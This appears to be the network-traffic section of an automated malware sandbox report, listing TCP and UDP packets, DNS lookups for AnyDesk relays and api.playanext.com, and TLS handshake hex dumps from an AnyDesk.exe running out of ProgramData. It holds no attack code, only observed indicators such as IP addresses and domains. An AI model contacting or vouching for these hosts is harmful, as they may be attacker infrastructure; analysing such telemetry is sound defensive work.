Mar 3, 2024 13:43:33.778691053 CET	49743	2909	192.168.2.4	67.203.7.148
Mar 3, 2024 13:43:33.937696934 CET	2909	49743	67.203.7.148	192.168.2.4
Mar 3, 2024 13:43:33.937731981 CET	2909	49743	67.203.7.148	192.168.2.4
Mar 3, 2024 13:43:33.939347982 CET	2909	49743	67.203.7.148	192.168.2.4
Mar 3, 2024 13:43:33.989716053 CET	49743	2909	192.168.2.4	67.203.7.148
Mar 3, 2024 13:43:34.304024935 CET	49743	2909	192.168.2.4	67.203.7.148
Mar 3, 2024 13:43:34.463198900 CET	2909	49743	67.203.7.148	192.168.2.4
Mar 3, 2024 13:43:34.466707945 CET	2909	49743	67.203.7.148	192.168.2.4
Mar 3, 2024 13:43:34.472611904 CET	49743	2909	192.168.2.4	67.203.7.148
Mar 3, 2024 13:43:34.636107922 CET	2909	49743	67.203.7.148	192.168.2.4
Mar 3, 2024 13:43:34.677194118 CET	49743	2909	192.168.2.4	67.203.7.148
Mar 3, 2024 13:43:34.693788052 CET	49743	2909	192.168.2.4	67.203.7.148
Mar 3, 2024 13:43:34.854609013 CET	2909	49743	67.203.7.148	192.168.2.4
Mar 3, 2024 13:43:34.856224060 CET	49743	2909	192.168.2.4	67.203.7.148
Mar 3, 2024 13:43:35.016669989 CET	2909	49743	67.203.7.148	192.168.2.4
Mar 3, 2024 13:43:35.067828894 CET	49743	2909	192.168.2.4	67.203.7.148
Mar 3, 2024 13:43:35.085472107 CET	49743	2909	192.168.2.4	67.203.7.148
Mar 3, 2024 13:43:35.244354963 CET	2909	49743	67.203.7.148	192.168.2.4
Mar 3, 2024 13:43:35.244430065 CET	49743	2909	192.168.2.4	67.203.7.148
Mar 3, 2024 13:43:35.244587898 CET	2909	49743	67.203.7.148	192.168.2.4
Mar 3, 2024 13:43:35.244599104 CET	2909	49743	67.203.7.148	192.168.2.4
Mar 3, 2024 13:43:35.244627953 CET	49743	2909	192.168.2.4	67.203.7.148
Mar 3, 2024 13:43:35.244678974 CET	49743	2909	192.168.2.4	67.203.7.148
Mar 3, 2024 13:43:35.244880915 CET	2909	49743	67.203.7.148	192.168.2.4
Mar 3, 2024 13:43:35.244894981 CET	2909	49743	67.203.7.148	192.168.2.4
Mar 3, 2024 13:43:35.244925022 CET	2909	49743	67.203.7.148	192.168.2.4
Mar 3, 2024 13:43:35.244927883 CET	49743	2909	192.168.2.4	67.203.7.148
Mar 3, 2024 13:43:35.244935989 CET	2909	49743	67.203.7.148	192.168.2.4
Mar 3, 2024 13:43:35.244981050 CET	49743	2909	192.168.2.4	67.203.7.148
Mar 3, 2024 13:43:35.245019913 CET	49743	2909	192.168.2.4	67.203.7.148
Mar 3, 2024 13:43:35.245138884 CET	2909	49743	67.203.7.148	192.168.2.4
Mar 3, 2024 13:43:35.245181084 CET	49743	2909	192.168.2.4	67.203.7.148
Mar 3, 2024 13:43:35.245203972 CET	2909	49743	67.203.7.148	192.168.2.4
Mar 3, 2024 13:43:35.245285034 CET	49743	2909	192.168.2.4	67.203.7.148
Mar 3, 2024 13:43:35.245342970 CET	2909	49743	67.203.7.148	192.168.2.4
Mar 3, 2024 13:43:35.245417118 CET	49743	2909	192.168.2.4	67.203.7.148
Mar 3, 2024 13:43:35.245491982 CET	2909	49743	67.203.7.148	192.168.2.4
Mar 3, 2024 13:43:35.245632887 CET	49743	2909	192.168.2.4	67.203.7.148
Mar 3, 2024 13:43:35.245666027 CET	2909	49743	67.203.7.148	192.168.2.4
Mar 3, 2024 13:43:35.245728970 CET	2909	49743	67.203.7.148	192.168.2.4
Mar 3, 2024 13:43:35.245843887 CET	2909	49743	67.203.7.148	192.168.2.4
Mar 3, 2024 13:43:35.245862007 CET	49743	2909	192.168.2.4	67.203.7.148
Mar 3, 2024 13:43:35.245942116 CET	49743	2909	192.168.2.4	67.203.7.148
Mar 3, 2024 13:43:35.245973110 CET	2909	49743	67.203.7.148	192.168.2.4
Mar 3, 2024 13:43:35.246038914 CET	49743	2909	192.168.2.4	67.203.7.148
Mar 3, 2024 13:43:35.246074915 CET	2909	49743	67.203.7.148	192.168.2.4
Mar 3, 2024 13:43:35.246120930 CET	2909	49743	67.203.7.148	192.168.2.4
Mar 3, 2024 13:43:35.246167898 CET	49743	2909	192.168.2.4	67.203.7.148
Mar 3, 2024 13:43:35.246185064 CET	2909	49743	67.203.7.148	192.168.2.4
Mar 3, 2024 13:43:35.246226072 CET	2909	49743	67.203.7.148	192.168.2.4
Mar 3, 2024 13:43:35.403332949 CET	2909	49743	67.203.7.148	192.168.2.4
Mar 3, 2024 13:43:35.403400898 CET	2909	49743	67.203.7.148	192.168.2.4
Mar 3, 2024 13:43:35.403420925 CET	2909	49743	67.203.7.148	192.168.2.4
Mar 3, 2024 13:43:35.403531075 CET	2909	49743	67.203.7.148	192.168.2.4
Mar 3, 2024 13:43:35.403642893 CET	2909	49743	67.203.7.148	192.168.2.4
Mar 3, 2024 13:43:35.403690100 CET	2909	49743	67.203.7.148	192.168.2.4
Mar 3, 2024 13:43:35.403707027 CET	2909	49743	67.203.7.148	192.168.2.4
Mar 3, 2024 13:43:35.403803110 CET	2909	49743	67.203.7.148	192.168.2.4
Mar 3, 2024 13:43:35.403884888 CET	2909	49743	67.203.7.148	192.168.2.4
Mar 3, 2024 13:43:35.403901100 CET	49743	2909	192.168.2.4	67.203.7.148
Mar 3, 2024 13:43:35.403948069 CET	2909	49743	67.203.7.148	192.168.2.4
Mar 3, 2024 13:43:35.404036045 CET	2909	49743	67.203.7.148	192.168.2.4
Mar 3, 2024 13:43:35.404109001 CET	2909	49743	67.203.7.148	192.168.2.4
Mar 3, 2024 13:43:35.404134989 CET	2909	49743	67.203.7.148	192.168.2.4
Mar 3, 2024 13:43:35.404277086 CET	2909	49743	67.203.7.148	192.168.2.4
Mar 3, 2024 13:43:35.404328108 CET	2909	49743	67.203.7.148	192.168.2.4
Mar 3, 2024 13:43:35.404367924 CET	2909	49743	67.203.7.148	192.168.2.4
Mar 3, 2024 13:43:35.404511929 CET	2909	49743	67.203.7.148	192.168.2.4
Mar 3, 2024 13:43:35.404521942 CET	2909	49743	67.203.7.148	192.168.2.4
Mar 3, 2024 13:43:35.404628992 CET	2909	49743	67.203.7.148	192.168.2.4
Mar 3, 2024 13:43:35.404681921 CET	2909	49743	67.203.7.148	192.168.2.4
Mar 3, 2024 13:43:35.404726028 CET	2909	49743	67.203.7.148	192.168.2.4
Mar 3, 2024 13:43:35.404850006 CET	2909	49743	67.203.7.148	192.168.2.4
Mar 3, 2024 13:43:35.404886961 CET	2909	49743	67.203.7.148	192.168.2.4
Mar 3, 2024 13:43:35.404962063 CET	49743	2909	192.168.2.4	67.203.7.148
Mar 3, 2024 13:43:35.404964924 CET	2909	49743	67.203.7.148	192.168.2.4
Mar 3, 2024 13:43:35.405005932 CET	2909	49743	67.203.7.148	192.168.2.4
Mar 3, 2024 13:43:35.405066013 CET	2909	49743	67.203.7.148	192.168.2.4
Mar 3, 2024 13:43:35.405095100 CET	2909	49743	67.203.7.148	192.168.2.4
Mar 3, 2024 13:43:35.405143976 CET	2909	49743	67.203.7.148	192.168.2.4
Mar 3, 2024 13:43:35.405153990 CET	2909	49743	67.203.7.148	192.168.2.4
Mar 3, 2024 13:43:35.405383110 CET	49743	2909	192.168.2.4	67.203.7.148
Mar 3, 2024 13:43:35.406002998 CET	2909	49743	67.203.7.148	192.168.2.4
Mar 3, 2024 13:43:35.406092882 CET	49743	2909	192.168.2.4	67.203.7.148
Mar 3, 2024 13:43:35.563117981 CET	2909	49743	67.203.7.148	192.168.2.4
Mar 3, 2024 13:43:35.563401937 CET	2909	49743	67.203.7.148	192.168.2.4
Mar 3, 2024 13:43:35.563412905 CET	2909	49743	67.203.7.148	192.168.2.4
Mar 3, 2024 13:43:35.563421965 CET	2909	49743	67.203.7.148	192.168.2.4
Mar 3, 2024 13:43:35.563505888 CET	2909	49743	67.203.7.148	192.168.2.4
Mar 3, 2024 13:43:35.563579082 CET	2909	49743	67.203.7.148	192.168.2.4
Mar 3, 2024 13:43:35.563644886 CET	2909	49743	67.203.7.148	192.168.2.4
Mar 3, 2024 13:43:35.563743114 CET	2909	49743	67.203.7.148	192.168.2.4
Mar 3, 2024 13:43:35.563752890 CET	2909	49743	67.203.7.148	192.168.2.4
Mar 3, 2024 13:43:35.563898087 CET	2909	49743	67.203.7.148	192.168.2.4
Mar 3, 2024 13:43:35.563935041 CET	2909	49743	67.203.7.148	192.168.2.4
Mar 3, 2024 13:43:35.564028978 CET	2909	49743	67.203.7.148	192.168.2.4
Mar 3, 2024 13:43:35.564100027 CET	2909	49743	67.203.7.148	192.168.2.4
Mar 3, 2024 13:43:35.564192057 CET	2909	49743	67.203.7.148	192.168.2.4
Mar 3, 2024 13:43:35.564249039 CET	2909	49743	67.203.7.148	192.168.2.4
Mar 3, 2024 13:43:35.564296961 CET	49743	2909	192.168.2.4	67.203.7.148
Mar 3, 2024 13:43:35.564338923 CET	2909	49743	67.203.7.148	192.168.2.4
Mar 3, 2024 13:43:35.564393044 CET	2909	49743	67.203.7.148	192.168.2.4
Mar 3, 2024 13:43:35.564493895 CET	2909	49743	67.203.7.148	192.168.2.4
Mar 3, 2024 13:43:35.564558983 CET	2909	49743	67.203.7.148	192.168.2.4
Mar 3, 2024 13:43:35.564625025 CET	2909	49743	67.203.7.148	192.168.2.4
Mar 3, 2024 13:43:35.564656973 CET	2909	49743	67.203.7.148	192.168.2.4
Mar 3, 2024 13:43:35.564697981 CET	49743	2909	192.168.2.4	67.203.7.148
Mar 3, 2024 13:43:35.564804077 CET	2909	49743	67.203.7.148	192.168.2.4
Mar 3, 2024 13:43:35.564898014 CET	2909	49743	67.203.7.148	192.168.2.4
Mar 3, 2024 13:43:35.564913988 CET	2909	49743	67.203.7.148	192.168.2.4
Mar 3, 2024 13:43:35.565001011 CET	2909	49743	67.203.7.148	192.168.2.4
Mar 3, 2024 13:43:35.565011024 CET	2909	49743	67.203.7.148	192.168.2.4
Mar 3, 2024 13:43:35.565088034 CET	2909	49743	67.203.7.148	192.168.2.4
Mar 3, 2024 13:43:35.565135002 CET	2909	49743	67.203.7.148	192.168.2.4
Mar 3, 2024 13:43:35.565263987 CET	2909	49743	67.203.7.148	192.168.2.4
Mar 3, 2024 13:43:35.565397024 CET	2909	49743	67.203.7.148	192.168.2.4
Mar 3, 2024 13:43:35.565458059 CET	2909	49743	67.203.7.148	192.168.2.4
Mar 3, 2024 13:43:35.565537930 CET	2909	49743	67.203.7.148	192.168.2.4
Mar 3, 2024 13:43:35.565594912 CET	2909	49743	67.203.7.148	192.168.2.4
Mar 3, 2024 13:43:35.565639019 CET	49743	2909	192.168.2.4	67.203.7.148
Mar 3, 2024 13:43:35.565639973 CET	2909	49743	67.203.7.148	192.168.2.4
Mar 3, 2024 13:43:35.565807104 CET	2909	49743	67.203.7.148	192.168.2.4
Mar 3, 2024 13:43:35.566519022 CET	49743	2909	192.168.2.4	67.203.7.148
Mar 3, 2024 13:43:35.567485094 CET	2909	49743	67.203.7.148	192.168.2.4
Mar 3, 2024 13:43:35.567576885 CET	49743	2909	192.168.2.4	67.203.7.148
Mar 3, 2024 13:43:35.723294973 CET	2909	49743	67.203.7.148	192.168.2.4
Mar 3, 2024 13:43:35.723341942 CET	2909	49743	67.203.7.148	192.168.2.4
Mar 3, 2024 13:43:35.723400116 CET	2909	49743	67.203.7.148	192.168.2.4
Mar 3, 2024 13:43:35.723505974 CET	2909	49743	67.203.7.148	192.168.2.4
Mar 3, 2024 13:43:35.723541975 CET	2909	49743	67.203.7.148	192.168.2.4
Mar 3, 2024 13:43:35.723637104 CET	2909	49743	67.203.7.148	192.168.2.4
Mar 3, 2024 13:43:35.724530935 CET	2909	49743	67.203.7.148	192.168.2.4
Mar 3, 2024 13:43:35.724546909 CET	2909	49743	67.203.7.148	192.168.2.4
Mar 3, 2024 13:43:35.724679947 CET	2909	49743	67.203.7.148	192.168.2.4
Mar 3, 2024 13:43:35.724864006 CET	2909	49743	67.203.7.148	192.168.2.4
Mar 3, 2024 13:43:35.724875927 CET	2909	49743	67.203.7.148	192.168.2.4
Mar 3, 2024 13:43:35.724896908 CET	2909	49743	67.203.7.148	192.168.2.4
Mar 3, 2024 13:43:35.725025892 CET	2909	49743	67.203.7.148	192.168.2.4
Mar 3, 2024 13:43:35.725038052 CET	2909	49743	67.203.7.148	192.168.2.4
Mar 3, 2024 13:43:35.725075006 CET	2909	49743	67.203.7.148	192.168.2.4
Mar 3, 2024 13:43:35.725187063 CET	2909	49743	67.203.7.148	192.168.2.4
Mar 3, 2024 13:43:35.725320101 CET	2909	49743	67.203.7.148	192.168.2.4
Mar 3, 2024 13:43:35.725331068 CET	2909	49743	67.203.7.148	192.168.2.4
Mar 3, 2024 13:43:35.725778103 CET	2909	49743	67.203.7.148	192.168.2.4
Mar 3, 2024 13:43:35.725897074 CET	2909	49743	67.203.7.148	192.168.2.4
Mar 3, 2024 13:43:35.725974083 CET	2909	49743	67.203.7.148	192.168.2.4
Mar 3, 2024 13:43:35.726047993 CET	2909	49743	67.203.7.148	192.168.2.4
Mar 3, 2024 13:43:35.726094007 CET	2909	49743	67.203.7.148	192.168.2.4
Mar 3, 2024 13:43:35.726197958 CET	49743	2909	192.168.2.4	67.203.7.148
Mar 3, 2024 13:43:35.726238966 CET	2909	49743	67.203.7.148	192.168.2.4
Mar 3, 2024 13:43:35.726321936 CET	49743	2909	192.168.2.4	67.203.7.148
Mar 3, 2024 13:43:35.726367950 CET	2909	49743	67.203.7.148	192.168.2.4
Mar 3, 2024 13:43:35.726422071 CET	2909	49743	67.203.7.148	192.168.2.4
Mar 3, 2024 13:43:35.726433039 CET	2909	49743	67.203.7.148	192.168.2.4
Mar 3, 2024 13:43:35.726506948 CET	2909	49743	67.203.7.148	192.168.2.4
Mar 3, 2024 13:43:35.726564884 CET	2909	49743	67.203.7.148	192.168.2.4
Mar 3, 2024 13:43:35.726597071 CET	2909	49743	67.203.7.148	192.168.2.4
Mar 3, 2024 13:43:35.726742029 CET	2909	49743	67.203.7.148	192.168.2.4
Mar 3, 2024 13:43:35.726753950 CET	2909	49743	67.203.7.148	192.168.2.4
Mar 3, 2024 13:43:35.726788044 CET	2909	49743	67.203.7.148	192.168.2.4
Mar 3, 2024 13:43:35.726831913 CET	2909	49743	67.203.7.148	192.168.2.4
Mar 3, 2024 13:43:35.727257967 CET	2909	49743	67.203.7.148	192.168.2.4
Mar 3, 2024 13:43:35.727268934 CET	2909	49743	67.203.7.148	192.168.2.4
Mar 3, 2024 13:43:35.727303982 CET	2909	49743	67.203.7.148	192.168.2.4
Mar 3, 2024 13:43:35.727395058 CET	2909	49743	67.203.7.148	192.168.2.4
Mar 3, 2024 13:43:35.727554083 CET	2909	49743	67.203.7.148	192.168.2.4
Mar 3, 2024 13:43:35.727818012 CET	49743	2909	192.168.2.4	67.203.7.148
Mar 3, 2024 13:43:35.886432886 CET	2909	49743	67.203.7.148	192.168.2.4
Mar 3, 2024 13:43:35.886468887 CET	2909	49743	67.203.7.148	192.168.2.4
Mar 3, 2024 13:43:35.886636019 CET	2909	49743	67.203.7.148	192.168.2.4
Mar 3, 2024 13:43:35.886912107 CET	2909	49743	67.203.7.148	192.168.2.4
Mar 3, 2024 13:43:35.886921883 CET	2909	49743	67.203.7.148	192.168.2.4
Mar 3, 2024 13:43:35.886929989 CET	2909	49743	67.203.7.148	192.168.2.4
Mar 3, 2024 13:43:35.887058020 CET	2909	49743	67.203.7.148	192.168.2.4
Mar 3, 2024 13:43:35.887656927 CET	2909	49743	67.203.7.148	192.168.2.4
Mar 3, 2024 13:43:35.887686014 CET	2909	49743	67.203.7.148	192.168.2.4
Mar 3, 2024 13:43:35.887701988 CET	2909	49743	67.203.7.148	192.168.2.4
Mar 3, 2024 13:43:35.887734890 CET	2909	49743	67.203.7.148	192.168.2.4
Mar 3, 2024 13:43:35.887744904 CET	2909	49743	67.203.7.148	192.168.2.4
Mar 3, 2024 13:43:35.887823105 CET	2909	49743	67.203.7.148	192.168.2.4
Mar 3, 2024 13:43:35.887833118 CET	2909	49743	67.203.7.148	192.168.2.4
Mar 3, 2024 13:43:35.887870073 CET	2909	49743	67.203.7.148	192.168.2.4
Mar 3, 2024 13:43:35.887880087 CET	2909	49743	67.203.7.148	192.168.2.4
Mar 3, 2024 13:43:35.887907982 CET	2909	49743	67.203.7.148	192.168.2.4
Mar 3, 2024 13:43:35.887974977 CET	2909	49743	67.203.7.148	192.168.2.4
Mar 3, 2024 13:43:35.887985945 CET	2909	49743	67.203.7.148	192.168.2.4
Mar 3, 2024 13:43:35.888027906 CET	2909	49743	67.203.7.148	192.168.2.4
Mar 3, 2024 13:43:35.888231993 CET	2909	49743	67.203.7.148	192.168.2.4
Mar 3, 2024 13:43:35.888282061 CET	2909	49743	67.203.7.148	192.168.2.4
Mar 3, 2024 13:43:35.888290882 CET	2909	49743	67.203.7.148	192.168.2.4
Mar 3, 2024 13:43:35.888322115 CET	2909	49743	67.203.7.148	192.168.2.4
Mar 3, 2024 13:43:35.888386965 CET	2909	49743	67.203.7.148	192.168.2.4
Mar 3, 2024 13:43:35.891804934 CET	2909	49743	67.203.7.148	192.168.2.4
Mar 3, 2024 13:43:35.892359018 CET	49743	2909	192.168.2.4	67.203.7.148
Mar 3, 2024 13:43:36.052337885 CET	2909	49743	67.203.7.148	192.168.2.4
Mar 3, 2024 13:43:36.053328991 CET	49743	2909	192.168.2.4	67.203.7.148
Mar 3, 2024 13:43:36.217556000 CET	2909	49743	67.203.7.148	192.168.2.4
Mar 3, 2024 13:43:36.270972967 CET	49743	2909	192.168.2.4	67.203.7.148
Mar 3, 2024 13:43:36.274622917 CET	49743	2909	192.168.2.4	67.203.7.148
Mar 3, 2024 13:43:39.661596060 CET	49734	80	192.168.2.4	64.31.23.30
Mar 3, 2024 13:43:39.748733044 CET	80	49734	64.31.23.30	192.168.2.4
Mar 3, 2024 13:43:49.755373001 CET	49734	80	192.168.2.4	64.31.23.30
Mar 3, 2024 13:43:49.816327095 CET	80	49734	64.31.23.30	192.168.2.4
Mar 3, 2024 13:43:49.816381931 CET	49734	80	192.168.2.4	64.31.23.30
Mar 3, 2024 13:43:49.842477083 CET	80	49734	64.31.23.30	192.168.2.4
Mar 3, 2024 13:43:59.849195957 CET	49734	80	192.168.2.4	64.31.23.30
Mar 3, 2024 13:43:59.936306953 CET	80	49734	64.31.23.30	192.168.2.4
Mar 3, 2024 13:44:09.942884922 CET	49734	80	192.168.2.4	64.31.23.30
Mar 3, 2024 13:44:10.030020952 CET	80	49734	64.31.23.30	192.168.2.4
Mar 3, 2024 13:44:20.036607981 CET	49734	80	192.168.2.4	64.31.23.30
Mar 3, 2024 13:44:20.123673916 CET	80	49734	64.31.23.30	192.168.2.4
Mar 3, 2024 13:44:30.130413055 CET	49734	80	192.168.2.4	64.31.23.30
Mar 3, 2024 13:44:30.217474937 CET	80	49734	64.31.23.30	192.168.2.4
Mar 3, 2024 13:44:40.224172115 CET	49734	80	192.168.2.4	64.31.23.30
Mar 3, 2024 13:44:40.248557091 CET	80	49734	64.31.23.30	192.168.2.4
Mar 3, 2024 13:44:40.248617887 CET	49734	80	192.168.2.4	64.31.23.30
Mar 3, 2024 13:44:40.311496019 CET	80	49734	64.31.23.30	192.168.2.4
Mar 3, 2024 13:44:50.317900896 CET	49734	80	192.168.2.4	64.31.23.30
Mar 3, 2024 13:44:50.404988050 CET	80	49734	64.31.23.30	192.168.2.4
Mar 3, 2024 13:45:00.411672115 CET	49734	80	192.168.2.4	64.31.23.30
Mar 3, 2024 13:45:00.473710060 CET	80	49734	64.31.23.30	192.168.2.4
Mar 3, 2024 13:45:00.473877907 CET	49734	80	192.168.2.4	64.31.23.30
Mar 3, 2024 13:45:00.499144077 CET	80	49734	64.31.23.30	192.168.2.4
Mar 3, 2024 13:45:10.505414009 CET	49734	80	192.168.2.4	64.31.23.30
Mar 3, 2024 13:45:10.595777035 CET	80	49734	64.31.23.30	192.168.2.4
Mar 3, 2024 13:45:20.599232912 CET	49734	80	192.168.2.4	64.31.23.30
Mar 3, 2024 13:45:20.686711073 CET	80	49734	64.31.23.30	192.168.2.4
Mar 3, 2024 13:45:30.692897081 CET	49734	80	192.168.2.4	64.31.23.30
Mar 3, 2024 13:45:30.780070066 CET	80	49734	64.31.23.30	192.168.2.4
Mar 3, 2024 13:45:40.786698103 CET	49734	80	192.168.2.4	64.31.23.30
Mar 3, 2024 13:45:40.873895884 CET	80	49734	64.31.23.30	192.168.2.4
Mar 3, 2024 13:45:50.880419970 CET	49734	80	192.168.2.4	64.31.23.30
Mar 3, 2024 13:45:50.904501915 CET	80	49734	64.31.23.30	192.168.2.4
Mar 3, 2024 13:45:50.904587984 CET	49734	80	192.168.2.4	64.31.23.30
Mar 3, 2024 13:45:50.967628956 CET	80	49734	64.31.23.30	192.168.2.4
Mar 3, 2024 13:46:00.974169016 CET	49734	80	192.168.2.4	64.31.23.30
Mar 3, 2024 13:46:01.062280893 CET	80	49734	64.31.23.30	192.168.2.4

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Mar 3, 2024 13:43:05.921649933 CET	61225	53	192.168.2.4	1.1.1.1
Mar 3, 2024 13:43:06.010523081 CET	53	61225	1.1.1.1	192.168.2.4
Mar 3, 2024 13:43:07.233640909 CET	64725	53	192.168.2.4	1.1.1.1
Mar 3, 2024 13:43:07.322459936 CET	53	64725	1.1.1.1	192.168.2.4
Mar 3, 2024 13:43:09.480169058 CET	62131	53	192.168.2.4	1.1.1.1
Mar 3, 2024 13:43:09.587120056 CET	53	62131	1.1.1.1	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Mar 3, 2024 13:43:05.921649933 CET	192.168.2.4	1.1.1.1	0xd273	Standard query (0)	boot.net.anydesk.com	A (IP address)	IN (0x0001)	false
Mar 3, 2024 13:43:07.233640909 CET	192.168.2.4	1.1.1.1	0x4234	Standard query (0)	relay-d7627e96.net.anydesk.com	A (IP address)	IN (0x0001)	false
Mar 3, 2024 13:43:09.480169058 CET	192.168.2.4	1.1.1.1	0xa5c9	Standard query (0)	api.playanext.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Mar 3, 2024 13:43:06.010523081 CET	1.1.1.1	192.168.2.4	0xd273	No error (0)	boot.net.anydesk.com		37.59.29.33	A (IP address)	IN (0x0001)	false
Mar 3, 2024 13:43:07.322459936 CET	1.1.1.1	192.168.2.4	0x4234	No error (0)	relay-d7627e96.net.anydesk.com		64.31.23.30	A (IP address)	IN (0x0001)	false
Mar 3, 2024 13:43:09.587120056 CET	1.1.1.1	192.168.2.4	0xa5c9	No error (0)	api.playanext.com	d1atxff5avezsq.cloudfront.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 3, 2024 13:43:09.587120056 CET	1.1.1.1	192.168.2.4	0xa5c9	No error (0)	d1atxff5avezsq.cloudfront.net		18.173.219.85	A (IP address)	IN (0x0001)	false
Mar 3, 2024 13:43:09.587120056 CET	1.1.1.1	192.168.2.4	0xa5c9	No error (0)	d1atxff5avezsq.cloudfront.net		18.173.219.36	A (IP address)	IN (0x0001)	false
Mar 3, 2024 13:43:09.587120056 CET	1.1.1.1	192.168.2.4	0xa5c9	No error (0)	d1atxff5avezsq.cloudfront.net		18.173.219.118	A (IP address)	IN (0x0001)	false
Mar 3, 2024 13:43:09.587120056 CET	1.1.1.1	192.168.2.4	0xa5c9	No error (0)	d1atxff5avezsq.cloudfront.net		18.173.219.116	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

api.playanext.comuser-agent: anydesk

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49732	37.59.29.33	80	8108	C:\ProgramData\WinNet\AnyDesk.exe

Timestamp	Bytes transferred	Direction	Data
Mar 3, 2024 13:43:06.655987978 CET	273	OUT	Data Raw: 16 03 01 01 0c 01 00 01 08 03 03 44 da 06 8a b0 cb ff 64 ed 8c cc bf 49 7a 09 3c cb af 32 0a e9 40 11 14 f4 b0 e0 7a 99 39 a1 09 00 00 6e c0 30 c0 2c c0 28 c0 24 c0 14 c0 0a 00 a5 00 a3 00 a1 00 9f 00 6b 00 6a 00 69 00 68 00 39 00 38 00 37 00 36 Data Ascii: DdIz<2@z9n0,($kjih98762.*&=5/+'#g@?>32101-)%</q#
Mar 3, 2024 13:43:06.826256990 CET	536	IN	Data Raw: 16 03 03 00 57 02 00 00 53 03 03 33 dc 0f d7 9d fc 4a b9 68 a2 77 d7 3c 6f 8a 30 65 e0 a7 09 3f 9c 27 4b 44 4f 57 4e 47 52 44 01 20 2b 62 f2 c9 a4 ef fe 1a 5b 49 07 93 38 98 da 71 dc 20 22 0e a5 e2 2b 67 b6 57 a2 5d 5b 31 d8 45 c0 2c 00 00 0b ff Data Ascii: WS3Jhw<o0e?'KDOWNGRD +b[I8q "+gW][1E,C0?0'0vtS$0*H0H10UAnyNet Root CA1 0Uphilandro Software GmbH10UDE0181118021423Z281115021
Mar 3, 2024 13:43:06.826329947 CET	536	IN	Data Raw: e6 e8 20 b9 4b 8b bb 63 de 6f 65 6a 9f 5d d7 c1 97 9b 2d 30 4e 9a 81 85 b4 1c 92 a6 ed d8 7a f9 df 9d 03 b3 90 9c 78 a9 c8 ba 0e 3c ac ec 14 db 7d 51 b3 97 06 b9 f6 77 60 ab fe 59 83 af 8e 97 56 29 c7 db 7e 71 79 d1 c7 f7 da b6 c8 f7 af 8f 24 e0 Data Ascii: Kcoej]-0Nzx<}Qw`YV)~qy$ZG\|'SO^jl$\|XM+")+{n\&9S\|4xLp\|aZ.qDL\vq$;OroCs4\|z\8[TRxU>R
Mar 3, 2024 13:43:06.826380014 CET	536	IN	Data Raw: 35 35 5a 17 0d 32 34 30 34 30 38 30 32 33 37 35 35 5a 30 48 31 17 30 15 06 03 55 04 03 0c 0e 41 6e 79 4e 65 74 20 52 6f 6f 74 20 43 41 31 20 30 1e 06 03 55 04 0a 0c 17 70 68 69 6c 61 6e 64 72 6f 20 53 6f 66 74 77 61 72 65 20 47 6d 62 48 31 0b 30 Data Ascii: 55Z240408023755Z0H10UAnyNet Root CA1 0Uphilandro Software GmbH10UDE0"0*H0AZ T7;h8m&i6p4p]\|Zx1\{ZQ/3'h;jlaV
Mar 3, 2024 13:43:06.826390982 CET	536	IN	Data Raw: 3c 1f 22 91 25 17 15 cc 42 82 da 3b a8 39 c7 2a 50 ca d9 4c a0 8c 95 33 75 03 70 b8 df a0 c9 b2 b2 8b 1b 38 83 79 32 c3 12 da 33 96 42 f4 91 11 aa c6 26 31 bc ea 43 8a 30 54 65 c5 43 9e 50 3b fa 91 93 0e 9d 3b 23 4a 3d 43 c1 c6 22 9b 68 af 2f fc Data Ascii: <"%B;9PL3up8y23B&1C0TeCP;;#J=C"h/R"j.P0N0UeyXW6\bG0U#0eyXW6\bG0U00HG`4%(^0VGv T=#
Mar 3, 2024 13:43:06.826400995 CET	472	IN	Data Raw: ca b6 9b 39 e6 cf 27 d0 2c 99 74 d4 ca de 47 88 ed df f7 9c 3b ac 8a 62 d2 75 90 d9 00 81 d3 f8 c2 47 8e 9a bd 87 6d ce e5 9a 7f 28 76 a4 77 c6 3f b9 bf 4d f1 cb df 0f 2c 73 fe b4 60 e3 26 5e 83 f2 ae 36 56 94 e9 a7 9d a1 3d ca 5d 6e 3d 5d a8 6f Data Ascii: 9',tG;buGm(vw?M,s`&^6V=]n=]oh'g4E4{%QT?*Qd9wsfI+\+Wfp;q.Lgr:>4m`=D^!`l.:s&jAWrvZ=zP")Xut/r#3(
Mar 3, 2024 13:43:06.836090088 CET	1094	OUT	Data Raw: 16 03 03 02 b6 0b 00 02 b2 00 02 af 00 02 ac 30 82 02 a8 30 82 01 90 02 01 01 30 0d 06 09 2a 86 48 86 f7 0d 01 01 0b 05 00 30 19 31 17 30 15 06 03 55 04 03 0c 0e 41 6e 79 44 65 73 6b 20 43 6c 69 65 6e 74 30 20 17 0d 32 34 30 33 30 33 31 32 34 33 Data Ascii: 000H010UAnyDesk Client0 240303124305Z20740219124305Z010UAnyDesk Client0"0H0=Xiu1L=26mDi~nc$k$7KL1r4N<\33S fge
Mar 3, 2024 13:43:07.005676985 CET	51	IN	Data Raw: 14 03 03 00 01 01 16 03 03 00 28 cf 44 11 3e 10 6c c6 08 c9 02 96 1e b5 dc 35 cb 16 5d 69 50 0f 04 a6 d1 05 1d 8c ab 11 0a cc b4 1c e7 b7 d9 8f 3b 43 57 Data Ascii: (D>l5]iP;CW
Mar 3, 2024 13:43:07.005763054 CET	40	IN	Data Raw: 17 03 03 00 23 cf 44 11 3e 10 6c c6 09 68 2a b7 ac 0e 20 d8 ad bc 69 d6 99 ab 7f 69 be fc 27 98 4a 6c ea 29 56 f9 5f 63 Data Ascii: #D>lh* ii'Jl)V_c
Mar 3, 2024 13:43:07.012067080 CET	92	OUT	Data Raw: 17 03 03 00 57 4b 27 e1 1c f5 49 9d 78 3a 88 79 39 29 28 7f fc 89 72 80 3b 79 50 8d 67 9b 2b e9 7c 65 8c 61 24 3e f6 8a b6 66 f5 88 72 bb c9 02 2b 45 f2 88 3b 82 7d 0f 08 6f 31 ae 8d 4d 09 34 ba 68 9b e4 45 55 c2 5e 0d e1 9b 25 32 b6 4b 8e f9 24 Data Ascii: WK'Ix:y9)(r;yPg+\|ea$>fr+E;}o1M4hEU^%2K$

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
